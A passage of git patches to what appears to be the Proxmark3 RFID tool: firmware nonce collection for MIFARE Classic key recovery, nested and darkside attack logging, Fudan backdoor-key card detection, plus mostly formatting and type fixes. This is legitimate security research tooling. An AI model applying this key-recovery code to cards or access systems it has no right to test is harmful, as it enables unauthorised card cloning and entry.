(hardreset) { + if (g_dbglevel >= DBG_EXTENDED) { + Dbprintf("RF reset"); + } + // some cards need longer than mf_reset_card() to see effect on nT + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + SpinDelay(150); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); } - // some cards need longer than mf_reset_card() to see effect on nT - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(150); - iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); - } - if (g_dbglevel >= DBG_EXTENDED) { - Dbprintf("select"); - } - if (iso14443a_select_card(NULL, NULL, &cuid, true, 0, true) == false) { - retval = PM3_ESOFT; - goto OUT; - } - if (mifare_classic_authex_cmd(pcs, cuid, block_no, key_auth_cmd, ui64key, AUTH_FIRST, &nt_first, NULL, NULL, NULL, corruptnrar, corruptnrarparity)) { - if (g_dbglevel >= DBG_ERROR) Dbprintf("Auth error"); - retval = PM3_ESOFT; - goto OUT; - }; - is_last_auth_first_auth = true; - first_nt_counter++; - if ((first_nt_counter > 1) && (old_nt_first == nt_first)) { - first_nt_repetition_counter++; - } - old_nt_first = nt_first; - if (!reset && !hardreset) { - need_first_auth = false; - } - if (addread) { - uint8_t dataread[16] = {0x00}; - mifare_classic_readblock(pcs, block_no, dataread); - } - if (addauth) { - if (mifare_classic_authex_cmd(pcs, cuid, block_no, key_auth_cmd, ui64key, AUTH_NESTED, &nt, NULL, NULL, NULL, false, false)) { + if (g_dbglevel >= DBG_EXTENDED) { + Dbprintf("select"); + } + if (iso14443a_select_card(NULL, NULL, &cuid, true, 0, true) == false) { + retval = PM3_ESOFT; + goto OUT; + } + if (mifare_classic_authex_cmd(pcs, cuid, block_no, key_auth_cmd, ui64key, AUTH_FIRST, &nt_first, NULL, NULL, NULL, corruptnrar, corruptnrarparity)) { if (g_dbglevel >= DBG_ERROR) Dbprintf("Auth error"); retval = PM3_ESOFT; goto OUT; - } else if (g_dbglevel >= DBG_EXTENDED) { - Dbprintf("Nonce distance: %5i (first nonce <> nested nonce)", nonce_distance(nt_first, nt)); + }; + is_last_auth_first_auth = true; + first_nt_counter++; + if ((first_nt_counter > 1) && (old_nt_first == nt_first)) { + first_nt_repetition_counter++; } - is_last_auth_first_auth = false; - if (nt == nt_first) { - first_and_nested_nt_repetition_counter++; + old_nt_first = nt_first; + if (!reset && !hardreset) { + need_first_auth = false; + } + if (addread) { + uint8_t dataread[16] = {0x00}; + mifare_classic_readblock(pcs, block_no, dataread); + } + if (addauth) { + if (mifare_classic_authex_cmd(pcs, cuid, block_no, key_auth_cmd, ui64key, AUTH_NESTED, &nt, NULL, NULL, NULL, false, false)) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("Auth error"); + retval = PM3_ESOFT; + goto OUT; + } else if (g_dbglevel >= DBG_EXTENDED) { + Dbprintf("Nonce distance: %5i (first nonce <> nested nonce)", nonce_distance(nt_first, nt)); + } + is_last_auth_first_auth = false; + if (nt == nt_first) { + first_and_nested_nt_repetition_counter++; + } + old_nt = nt; } - old_nt = nt; } - } - nt = 0; - ntenc = 0; - if (mifare_classic_authex_cmd(pcs, cuid, incblk2 ? block_no_nested + (i * 4) : block_no_nested, key_auth_cmd_nested, ui64key_nested, AUTH_NESTED, &nt, &ntenc, &ntencpar, NULL, false, false)) { - if (g_dbglevel >= DBG_ERROR) Dbprintf("Nested auth error"); - need_first_auth = true; - } else if (g_dbglevel >= DBG_EXTENDED) { - if (is_last_auth_first_auth) { - Dbprintf("Nonce distance: %5i (first nonce <> nested nonce)", nonce_distance(nt_first, nt)); - } else { - Dbprintf("Nonce distance: %5i", nonce_distance(old_nt, nt)); + nt = 0; + ntenc = 0; + if (mifare_classic_authex_cmd(pcs, cuid, incblk2 ? block_no_nested + (i * 4) : block_no_nested, key_auth_cmd_nested, ui64key_nested, AUTH_NESTED, &nt, &ntenc, &ntencpar, NULL, false, false)) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("Nested auth error"); + need_first_auth = true; + } else if (g_dbglevel >= DBG_EXTENDED) { + if (is_last_auth_first_auth) { + Dbprintf("Nonce distance: %5i (first nonce <> nested nonce)", nonce_distance(nt_first, nt)); + } else { + Dbprintf("Nonce distance: %5i", nonce_distance(old_nt, nt)); + } } + nested_nt_session_counter++; + is_last_auth_first_auth = false; + old_nt = nt; + if (nt == nt_first) { + first_and_nested_nt_repetition_counter++; + } + if ((nested_nt_session_counter > 1) && (oldntenc == ntenc)) { + nested_nt_repetition_counter++; + } + oldntenc = ntenc; } - nested_nt_session_counter++; - is_last_auth_first_auth = false; - old_nt = nt; - if (nt == nt_first) { - first_and_nested_nt_repetition_counter++; - } - if ((nested_nt_session_counter > 1) && (oldntenc == ntenc)) { - nested_nt_repetition_counter++; - } - oldntenc = ntenc; - } data[1] = (cuid >> 24) & 0xFF; data[2] = (cuid >> 16) & 0xFF; diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index 7fbb0511a..e684f904d 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -162,7 +162,7 @@ globals: dumpData(data, blkn) - # FIXME: nr of blocks depend on the tag. RF32 is 256, RF08 is 64, RF08S is 64+8, + # FIXME: nr of blocks depend on the tag. RF32 is 256, RF08 is 64, RF08S is 64+8, # Currently dumpAcl is hardcoded for RF08S dumpAcl(data) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 775610e4f..bb95d9a4b 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -483,7 +483,7 @@ static int generate_config_card(const iclass_config_card_item_t *o, uint8_t *ke PrintAndLogEx(NORMAL, "( " _GREEN_("ok") " )"); //Block 13 (This is needed for Rev.C readers!) - uint8_t block_0x13[PICOPASS_BLOCK_SIZE] = {0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x1C}; + uint8_t block_0x13[PICOPASS_BLOCK_SIZE] = {0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C}; memcpy(data + (0x13 * 8), block_0x13, sizeof(block_0x13)); // encrypted partial keyroll key 14 @@ -536,7 +536,7 @@ static int generate_config_card(const iclass_config_card_item_t *o, uint8_t *ke } else { memcpy(data, cc, sizeof(picopass_hdr_t)); memcpy(data + (6 * 8), o->data, sizeof(o->data)); - if (strstr(o->desc, "Custom") != NULL){ + if (strstr(o->desc, "Custom") != NULL) { if (got_mk == false) { PrintAndLogEx(ERR, "please specify New Master Key!"); free(data); @@ -5066,16 +5066,16 @@ static int CmdHFiClassConfigCard(const char *Cmd) { if (ccidx > -1 && ccidx < ARRAYLEN(iclass_config_options)) { const iclass_config_card_item_t *item = get_config_card_item(ccidx); if (strstr(item->desc, "ELITE") != NULL && got_kr == false) { - PrintAndLogEx(ERR, "please specify ELITE Key (--eki) !"); - return PM3_EINVARG; + PrintAndLogEx(ERR, "please specify ELITE Key (--eki) !"); + return PM3_EINVARG; } if (strstr(item->desc, "Custom") != NULL && got_mk == false) { - PrintAndLogEx(ERR, "please specify New Standard Master Key (--mrki) !"); - return PM3_EINVARG; + PrintAndLogEx(ERR, "please specify New Standard Master Key (--mrki) !"); + return PM3_EINVARG; } if (strstr(item->desc, "Restore") != NULL && card_kidx == -1) { - PrintAndLogEx(ERR, "please specify the Current Reader's Key (--ki) !"); - return PM3_EINVARG; + PrintAndLogEx(ERR, "please specify the Current Reader's Key (--ki) !"); + return PM3_EINVARG; } generate_config_card(item, keyroll_key, got_kr, card_key, got_eki, elite, got_mk, master_key); } diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index c9bef038b..fdbd2ffb7 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -250,9 +250,9 @@ bool mfc_value(const uint8_t *d, int32_t *val) { uint32_t b = MemLeToUint4byte(d + 8); int val_checks = ( - (a == b) && (a == ~a_inv) && - (d[12] == (~d[13] & 0xFF)) && - (d[14] == (~d[15] & 0xFF)) + (a == b) && (a == ~a_inv) && + (d[12] == (~d[13] & 0xFF)) && + (d[14] == (~d[15] & 0xFF)) ); if (val) { @@ -1602,7 +1602,7 @@ static int CmdHF14AMfRestore(const char *Cmd) { PrintAndLogEx(INFO, " %3d | %s| ( " _RED_("fail") " ) key " _YELLOW_("%c"), blockno, sprint_hex(bldata, sizeof(bldata)), - (kt == MF_KEY_A) ? 'A' : 'B' + (kt == MF_KEY_A) ? 'A' : 'B' ); } // end loop key types } // end loop B @@ -2963,7 +2963,7 @@ noValidKeyFound: PrintAndLogEx(INFO, "======================= " _YELLOW_("START READ B KEY ATTACK") " ======================="); PrintAndLogEx(INFO, "reading B key of sector %3d with key type %c", current_sector_i, - (current_key_type_i == MF_KEY_B) ? 'B' : 'A'); + (current_key_type_i == MF_KEY_B) ? 'B' : 'A'); } uint8_t sectrail = (mfFirstBlockOfSector(current_sector_i) + mfNumBlocksPerSector(current_sector_i) - 1); @@ -2995,7 +2995,7 @@ noValidKeyFound: if (verbose) { PrintAndLogEx(WARNING, "unknown B key: sector: %3d key type: %c", current_sector_i, - (current_key_type_i == MF_KEY_B) ? 'B' : 'A' + (current_key_type_i == MF_KEY_B) ? 'B' : 'A' ); PrintAndLogEx(INFO, " -- reading the B key was not possible, maybe due to access rights?"); @@ -3018,7 +3018,7 @@ skipReadBKey: PrintAndLogEx(INFO, "======================= " _YELLOW_("START NESTED ATTACK") " ======================="); PrintAndLogEx(INFO, "sector no %3d, target key type %c", current_sector_i, - (current_key_type_i == MF_KEY_B) ? 'B' : 'A'); + (current_key_type_i == MF_KEY_B) ? 'B' : 'A'); } tryNested: isOK = mf_nested(mfFirstBlockOfSector(sectorno), keytype, key, mfFirstBlockOfSector(current_sector_i), current_key_type_i, tmp_key, calibrate); @@ -3144,7 +3144,7 @@ tryStaticnested: PrintAndLogEx(INFO, "======================= " _YELLOW_("START STATIC NESTED ATTACK") " ======================="); PrintAndLogEx(INFO, "sector no %3d, target key type %c", current_sector_i, - (current_key_type_i == MF_KEY_B) ? 'B' : 'A'); + (current_key_type_i == MF_KEY_B) ? 'B' : 'A'); } isOK = mf_static_nested(mfFirstBlockOfSector(sectorno), keytype, key, mfFirstBlockOfSector(current_sector_i), current_key_type_i, tmp_key); @@ -4424,7 +4424,7 @@ void printKeyTableEx(size_t sectorscnt, sector_t *e_sector, uint8_t start_sector _YELLOW_("H") ":Hardnested / " _YELLOW_("C") ":statiCnested / " _YELLOW_("A") ":keyA " - " )" + " )" ); if (sectorscnt == 18) { PrintAndLogEx(INFO, "( " _MAGENTA_("*") " ) These sectors used for signature. Lays outside of user memory"); @@ -5212,7 +5212,7 @@ static int CmdHF14AMfCSetUID(const char *Cmd) { PrintAndLogEx(SUCCESS, "Old UID... %s", sprint_hex(old_uid, uidlen)); PrintAndLogEx(SUCCESS, "New UID... %s ( %s )", sprint_hex(verify_uid, uidlen), - (res == 0) ? _GREEN_("verified") : _RED_("fail") + (res == 0) ? _GREEN_("verified") : _RED_("fail") ); return PM3_SUCCESS; } @@ -6603,10 +6603,10 @@ int CmdHFMFNDEFFormat(const char *Cmd) { "If not, it will try finding a key file based on your UID. ie, if you ran autopwn before", "hf mf ndefformat\n" // "hf mf ndefformat --mini --> MIFARE Mini\n" - "hf mf ndefformat --1k --> MIFARE Classic 1k\n" + "hf mf ndefformat --1k --> MIFARE Classic 1k\n" // "hf mf ndefformat --2k --> MIFARE 2k\n" // "hf mf ndefformat --4k --> MIFARE 4k\n" - "hf mf ndefformat --keys hf-mf-01020304-key.bin --> MIFARE 1k with keys from specified file\n" + "hf mf ndefformat --keys hf-mf-01020304-key.bin --> MIFARE 1k with keys from specified file\n" ); void *argtable[] = { @@ -9258,7 +9258,7 @@ static int CmdHF14AMfValue(const char *Cmd) { // don't want to write value data and break something if ((blockno == 0) || (mfIsSectorTrailer(blockno)) || - (trnval == 0) || + (trnval == 0) || (trnval != -1 && mfIsSectorTrailer(trnval))) { PrintAndLogEx(WARNING, "invalid block number, should be a data block"); return PM3_EINVARG; @@ -9695,47 +9695,47 @@ static int CmdHF14AMfInfo(const char *Cmd) { // backdoor might be present, or just a clone reusing Fudan MF data... PrintAndLogEx(SUCCESS, "Fudan based card"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08s, sizeof(fkey)) == 0 - && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 - && (blockdata[8] == 0x03 || blockdata[8] == 0x04) && blockdata[15] == 0x90) { + && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 + && (blockdata[8] == 0x03 || blockdata[8] == 0x04) && blockdata[15] == 0x90) { PrintAndLogEx(SUCCESS, "Fudan FM11RF08S"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08s, sizeof(fkey)) == 0 - && card.sak == 0x08 && memcmp(blockdata + 5, "\x00\x03\x00\x10", 4) == 0 - && blockdata[15] == 0x90) { + && card.sak == 0x08 && memcmp(blockdata + 5, "\x00\x03\x00\x10", 4) == 0 + && blockdata[15] == 0x90) { PrintAndLogEx(SUCCESS, "Fudan FM11RF08S-7B"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 - && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 - && blockdata[15] == 0x98) { + && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 + && blockdata[15] == 0x98) { PrintAndLogEx(SUCCESS, "Fudan FM11RF08S **98"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 - && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 - && (blockdata[8] >= 0x01 && blockdata[8] <= 0x03) && blockdata[15] == 0x1D) { + && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 + && (blockdata[8] >= 0x01 && blockdata[8] <= 0x03) && blockdata[15] == 0x1D) { PrintAndLogEx(SUCCESS, "Fudan FM11RF08"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k32, sizeof(fkey)) == 0 - && card.sak == 0x18 && memcmp(blockdata + 5, "\x18\x02\x00\x46\x44\x53\x37\x30\x56\x30\x31", 11) == 0) { + && card.sak == 0x18 && memcmp(blockdata + 5, "\x18\x02\x00\x46\x44\x53\x37\x30\x56\x30\x31", 11) == 0) { PrintAndLogEx(SUCCESS, "Fudan FM11RF32"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 - && card.sak == 0x20 && memcmp(blockdata + 8, "\x62\x63\x64\x65\x66\x67\x68\x69", 8) == 0) { + && card.sak == 0x20 && memcmp(blockdata + 8, "\x62\x63\x64\x65\x66\x67\x68\x69", 8) == 0) { PrintAndLogEx(SUCCESS, "Fudan FM11RF32 (SAK=20)"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 - && card.sak == 0x28 && ( - (memcmp(blockdata + 5, "\x28\x04\x00\x90\x10\x15\x01\x00\x00\x00\x00", 11) == 0) || - (memcmp(blockdata + 5, "\x28\x04\x00\x90\x11\x15\x01\x00\x00\x00\x00", 11) == 0))) { + && card.sak == 0x28 && ( + (memcmp(blockdata + 5, "\x28\x04\x00\x90\x10\x15\x01\x00\x00\x00\x00", 11) == 0) || + (memcmp(blockdata + 5, "\x28\x04\x00\x90\x11\x15\x01\x00\x00\x00\x00", 11) == 0))) { // Note: it also has ATS = // 10 78 80 90 02 20 90 00 00 00 00 00 + UID + CRC PrintAndLogEx(SUCCESS, "Fudan FM1208-10"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 - && card.sak == 0x28 && memcmp(blockdata + 5, "\x28\x04\x00\x90\x53\xB7\x0C\x00\x00\x00\x00", 11) == 0) { + && card.sak == 0x28 && memcmp(blockdata + 5, "\x28\x04\x00\x90\x53\xB7\x0C\x00\x00\x00\x00", 11) == 0) { // Note: it also has ATS = // 10 78 80 B0 02 20 90 00 00 00 00 00 + UID + CRC PrintAndLogEx(SUCCESS, "Fudan FM1216-137"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 - && card.sak == 0x88 && memcmp(blockdata + 5, "\x88\x04\x00\x43", 4) == 0) { + && card.sak == 0x88 && memcmp(blockdata + 5, "\x88\x04\x00\x43", 4) == 0) { PrintAndLogEx(SUCCESS, "Infineon SLE66R35"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 - && card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\x44", 4) == 0) { + && card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\x44", 4) == 0) { PrintAndLogEx(SUCCESS, "NXP MF1ICS5003"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 - && card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\x45", 4) == 0) { + && card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\x45", 4) == 0) { PrintAndLogEx(SUCCESS, "NXP MF1ICS5004"); } else if (fKeyType == MF_KEY_BD) { PrintAndLogEx(SUCCESS, _RED_("Unknown card with backdoor, please report details!")); diff --git a/client/src/cmdpiv.c b/client/src/cmdpiv.c index abd464045..4c297124b 100644 --- a/client/src/cmdpiv.c +++ b/client/src/cmdpiv.c @@ -466,7 +466,7 @@ static void piv_print_fascn(const uint8_t *buf, const size_t len, int level) { PrintAndLogEx(NORMAL, "%s" NOLF, encoded[tmp & 0x1f]); } uint8_t lrc = buf[24] & 0x1f; - PrintAndLogEx(NORMAL, " LRC=[" _YELLOW_("%02" PRIx8 ) "]", lrc); + PrintAndLogEx(NORMAL, " LRC=[" _YELLOW_("%02" PRIx8) "]", lrc); } static bool piv_tag_dump(const struct tlv *tlv, int level) { diff --git a/doc/commands.json b/doc/commands.json index 1e9a8909a..d4c4bcd5b 100644 --- a/doc/commands.json +++ b/doc/commands.json @@ -3242,23 +3242,20 @@ "command": "hf iclass configcard", "description": "Manage reader configuration card via Cardhelper or internal database, The generated config card will be uploaded to device emulator memory. You can start simulating `hf iclass sim -t 3` or use the emul commands", "notes": [ - "hf iclass configcard -l -> download config card settings from cardhelper", "hf iclass configcard -p -> print all config cards in the database", - "hf iclass configcard --ci 1 -> view config card setting in slot 1", - "hf iclass configcard -g --ci 0 -> generate config file from slot 0" + "hf iclass configcard --g 0 -> generate config file with option 0" ], "offline": false, "options": [ "-h, --help This help", - "--ci use config slot at index", + "--g use config option", "--ki Card Key - index to select key from memory 'hf iclass managekeys'", - "--krki Elite Keyroll Key - index to select key from memory 'hf iclass managekeys'", + "--eki Elite Key - index to select key from memory 'hf iclass managekeys'", + "--mrki Standard Master Key - index to select key from memory 'hf iclass managekeys'", "--elite Use elite key for the the Card Key ki", - "-g generate card dump file", - "-l load available cards", "-p print available cards" ], - "usage": "hf iclass configcard [-hglp] [--ci ] [--ki ] [--krki ] [--elite]" + "usage": "hf iclass configcard [-hp] [--g ] [--ki ] [--eki ] [--mrki ] [--elite]" }, "hf iclass creditepurse": { "command": "hf iclass creditepurse", @@ -5175,9 +5172,10 @@ "-b, --keyb use key B for access printing sectors (by default: key A)", "--be (optional, BigEndian)", "--dch decode Card Holder information", - "-f, --file load dump file and decode MAD" + "-f, --file load dump file and decode MAD", + "--force force decode (skip key check)" ], - "usage": "hf mf mad [-hvb] [--aid ] [-k ] [--be] [--dch] [-f ]" + "usage": "hf mf mad [-hvb] [--aid ] [-k ] [--be] [--dch] [-f ] [--force]" }, "hf mf nack": { "command": "hf mf nack", @@ -12244,7 +12242,7 @@ "--aid Applet ID to select. By default A0000003080000100 will be used", "--nonce Nonce to sign.", "--slot Slot number. Default will be 0x9E (card auth cert).", - "--alg Algorithm to use to sign. Example values: 06=RSA-1024, 07=RSA-2048, 11=ECC-P256 (default), 14=ECC-P384" + "--alg Algorithm to use to sign. Example values: 06=RSA-1024, 07=RSA-2048, 17=ECC-P256 (default), 20=ECC-P384" ], "usage": "piv sign [-hskatw] [--aid ] --nonce [--slot ] [--alg ]" }, @@ -13005,6 +13003,6 @@ "metadata": { "commands_extracted": 749, "extracted_by": "PM3Help2JSON v1.00", - "extracted_on": "2024-11-02T14:09:48" + "extracted_on": "2024-11-15T13:26:34" } } diff --git a/doc/commands.md b/doc/commands.md index c78c4aea1..bf9b82edc 100644 --- a/doc/commands.md +++ b/doc/commands.md @@ -413,7 +413,7 @@ Check column "offline" for their availability. |`hf iclass esave `|N |`Save emulator memory to file` |`hf iclass esetblk `|N |`Set emulator memory block data` |`hf iclass eview `|N |`View emulator memory` -|`hf iclass configcard `|N |`Reader configuration card` +|`hf iclass configcard `|N |`Reader configuration card generator` |`hf iclass calcnewkey `|Y |`Calc diversified keys (blocks 3 & 4) to write new keys` |`hf iclass encode `|Y |`Encode binary wiegand to block 7` |`hf iclass encrypt `|Y |`Encrypt given block data` From 37383d86b9e9eb31fca329f09b0b30d8a69c38a8 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 15 Nov 2024 14:51:54 +0100 Subject: [PATCH 141/155] adding of larger than uint8_t value in available gets truncated --- common_arm/usb_cdc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/common_arm/usb_cdc.c b/common_arm/usb_cdc.c index a72cb4a32..c37a9934e 100644 --- a/common_arm/usb_cdc.c +++ b/common_arm/usb_cdc.c @@ -716,7 +716,7 @@ uint32_t usb_read(uint8_t *data, size_t len) { static uint8_t usb_read_ng_buffer[64] = {0}; static uint8_t usb_read_ng_bufoffset = 0; -static uint8_t usb_read_ng_buflen = 0; +static uint16_t usb_read_ng_buflen = 0; bool usb_read_ng_has_buffered_data(void) { return usb_read_ng_buflen > 0; From 2e4d02abc05c1275579f553a5490be0a2d4d430f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 15 Nov 2024 14:58:06 +0100 Subject: [PATCH 142/155] len was another type, so to make sure... --- common_arm/usb_cdc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/common_arm/usb_cdc.c b/common_arm/usb_cdc.c index c37a9934e..cc3534dc1 100644 --- a/common_arm/usb_cdc.c +++ b/common_arm/usb_cdc.c @@ -716,7 +716,7 @@ uint32_t usb_read(uint8_t *data, size_t len) { static uint8_t usb_read_ng_buffer[64] = {0}; static uint8_t usb_read_ng_bufoffset = 0; -static uint16_t usb_read_ng_buflen = 0; +static size_t usb_read_ng_buflen = 0; bool usb_read_ng_has_buffered_data(void) { return usb_read_ng_buflen > 0; From 801c4a15e1c3bd90bf081e54dcaf6232d8b181ca Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 15 Nov 2024 14:58:33 +0100 Subject: [PATCH 143/155] returns 0xFFFF but we assign it to 0xFF.. better to make it clear --- common_arm/flashmem.c | 42 +++++++++++++++++++++--------------------- 1 file changed, 21 insertions(+), 21 deletions(-) diff --git a/common_arm/flashmem.c b/common_arm/flashmem.c index 33d7db2ad..5aaac347a 100644 --- a/common_arm/flashmem.c +++ b/common_arm/flashmem.c @@ -58,9 +58,9 @@ bool Flash_ReadID(flash_device_type_t *result, bool read_jedec) { // 0x9F JEDEC FlashSendByte(JEDECID); - result->manufacturer_id = FlashSendByte(0xFF); - result->device_id = FlashSendByte(0xFF); - result->device_id2 = FlashSendLastByte(0xFF); + result->manufacturer_id = (FlashSendByte(0xFF) & 0xFF); + result->device_id = (FlashSendByte(0xFF) & 0xFF); + result->device_id2 = (FlashSendLastByte(0xFF) & 0xFF); } else { // 0x90 Manufacture ID / device ID FlashSendByte(ID); @@ -68,8 +68,8 @@ bool Flash_ReadID(flash_device_type_t *result, bool read_jedec) { FlashSendByte(0x00); FlashSendByte(0x00); - result->manufacturer_id = FlashSendByte(0xFF); - result->device_id = FlashSendLastByte(0xFF); + result->manufacturer_id = (FlashSendByte(0xFF) & 0xFF); + result->device_id = (FlashSendLastByte(0xFF) & 0xFF); } return true; @@ -92,10 +92,10 @@ uint16_t Flash_ReadData(uint32_t address, uint8_t *out, uint16_t len) { } uint16_t i = 0; - for (; i < (len - 1); i++) - out[i] = FlashSendByte(0xFF); - - out[i] = FlashSendLastByte(0xFF); + for (; i < (len - 1); i++) { + out[i] = (FlashSendByte(0xFF) & 0xFF); + } + out[i] = (FlashSendLastByte(0xFF) & 0xFF); FlashStop(); return len; } @@ -122,10 +122,10 @@ uint16_t Flash_ReadDataCont(uint32_t address, uint8_t *out, uint16_t len) { } uint16_t i = 0; - for (; i < (len - 1); i++) - out[i] = FlashSendByte(0xFF); - - out[i] = FlashSendLastByte(0xFF); + for (; i < (len - 1); i++) { + out[i] = ( FlashSendByte(0xFF) & 0xFF); + } + out[i] = (FlashSendLastByte(0xFF) & 0xFF); return len; } @@ -486,14 +486,14 @@ void Flash_UniqueID(uint8_t *uid) { FlashSendByte(0xFF); FlashSendByte(0xFF); - uid[7] = FlashSendByte(0xFF); - uid[6] = FlashSendByte(0xFF); - uid[5] = FlashSendByte(0xFF); - uid[4] = FlashSendByte(0xFF); - uid[3] = FlashSendByte(0xFF); - uid[2] = FlashSendByte(0xFF); - uid[1] = FlashSendByte(0xFF); - uid[0] = FlashSendLastByte(0xFF); + uid[7] = (FlashSendByte(0xFF) & 0xFF); + uid[6] = (FlashSendByte(0xFF) & 0xFF); + uid[5] = (FlashSendByte(0xFF) & 0xFF); + uid[4] = (FlashSendByte(0xFF) & 0xFF); + uid[3] = (FlashSendByte(0xFF) & 0xFF); + uid[2] = (FlashSendByte(0xFF) & 0xFF); + uid[1] = (FlashSendByte(0xFF) & 0xFF); + uid[0] = (FlashSendLastByte(0xFF) & 0xFF); } void FlashStop(void) { From 669644ce1b69dbe4378efaa1fe4519a65f168320 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 15 Nov 2024 17:46:35 +0100 Subject: [PATCH 144/155] fix warning --- client/src/atrs.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/client/src/atrs.c b/client/src/atrs.c index d8f11587f..e851cf8f9 100644 --- a/client/src/atrs.c +++ b/client/src/atrs.c @@ -24,22 +24,26 @@ // get a ATR description based on the atr bytes // returns description of the best match const char *getAtrInfo(const char *atr_str) { + size_t slen = strlen(atr_str); int match = -1; - // skip last element of AtrTable - for (int i = 0; i < ARRAYLEN(AtrTable) - 1; ++i) { - if (strlen(AtrTable[i].bytes) != slen) + // skip last element of AtrTable + for (size_t i = 0; i < ARRAYLEN(AtrTable) - 1; ++i) { + + if (strlen(AtrTable[i].bytes) != slen) { continue; + } if (strstr(AtrTable[i].bytes, ".") != NULL) { + char *tmp_atr = calloc(slen, sizeof(uint8_t)); if (tmp_atr == NULL) { PrintAndLogEx(FAILED, "failed to allocate memory"); return NULL; } - for (int j = 0; j < slen; j++) { + for (size_t j = 0; j < slen; j++) { tmp_atr[j] = (AtrTable[i].bytes[j] == '.') ? '.' : atr_str[j]; } From 3907be801710879f00802bb0bf8db22e003ab3fa Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 15 Nov 2024 19:28:36 +0100 Subject: [PATCH 145/155] fixing the other loop types --- common_arm/usb_cdc.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/common_arm/usb_cdc.c b/common_arm/usb_cdc.c index cc3534dc1..ce7bda325 100644 --- a/common_arm/usb_cdc.c +++ b/common_arm/usb_cdc.c @@ -737,7 +737,7 @@ uint32_t usb_read_ng(uint8_t *data, size_t len) { // if local buffer has all data - for (uint8_t i = 0; i < len; i++) { + for (size_t i = 0; i < len; i++) { data[nbBytesRcv++] = usb_read_ng_buffer[usb_read_ng_bufoffset + i]; } @@ -755,7 +755,7 @@ uint32_t usb_read_ng(uint8_t *data, size_t len) { // take all data from local buffer, then read from usb - for (uint8_t i = 0; i < usb_read_ng_buflen; i++) { + for (size_t i = 0; i < usb_read_ng_buflen; i++) { data[nbBytesRcv++] = usb_read_ng_buffer[usb_read_ng_bufoffset + i]; } From 6c8a4972b1ce7a93baa88b58484613c8fcd30109 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 15 Nov 2024 23:04:32 +0100 Subject: [PATCH 146/155] mfd_aes_brute: fix deprecated flags warning & stop showinfo photobombing --- tools/mfd_aes_brute/Makefile | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/tools/mfd_aes_brute/Makefile b/tools/mfd_aes_brute/Makefile index 8080b67b5..6f8fa44a9 100644 --- a/tools/mfd_aes_brute/Makefile +++ b/tools/mfd_aes_brute/Makefile @@ -1,7 +1,7 @@ MYSRCPATHS = ../../common ../../common/mbedtls MYSRCS = util_posix.c randoms.c MYINCLUDES = -I../../include -I../../common -I../../common/mbedtls -MYCFLAGS = -Ofast +MYCFLAGS = -O3 -ffast-math MYDEFS = MYLDLIBS = -lcrypto @@ -43,7 +43,8 @@ ifeq ($(USE_MACPORTS),1) MYLDFLAGS += -L$(MACPORTS_PREFIX)/lib/openssl-3 -L$(MACPORTS_PREFIX)/lib/openssl-1.1 endif -showinfo: $(info c flags: $(MYCFLAGS)) +showinfo: + @echo "C flags: $(MYCFLAGS)" brute_key : $(OBJDIR)/brute_key.o $(MYOBJS) From c9e751d27d510a5a97d4894e82b2b170f3e0f45d Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sun, 17 Nov 2024 00:23:06 +0100 Subject: [PATCH 147/155] darkside: fix backdoor support --- client/src/cmdhfmf.c | 30 ++++++++++++++++++++++-------- 1 file changed, 22 insertions(+), 8 deletions(-) diff --git a/client/src/cmdhfmf.c 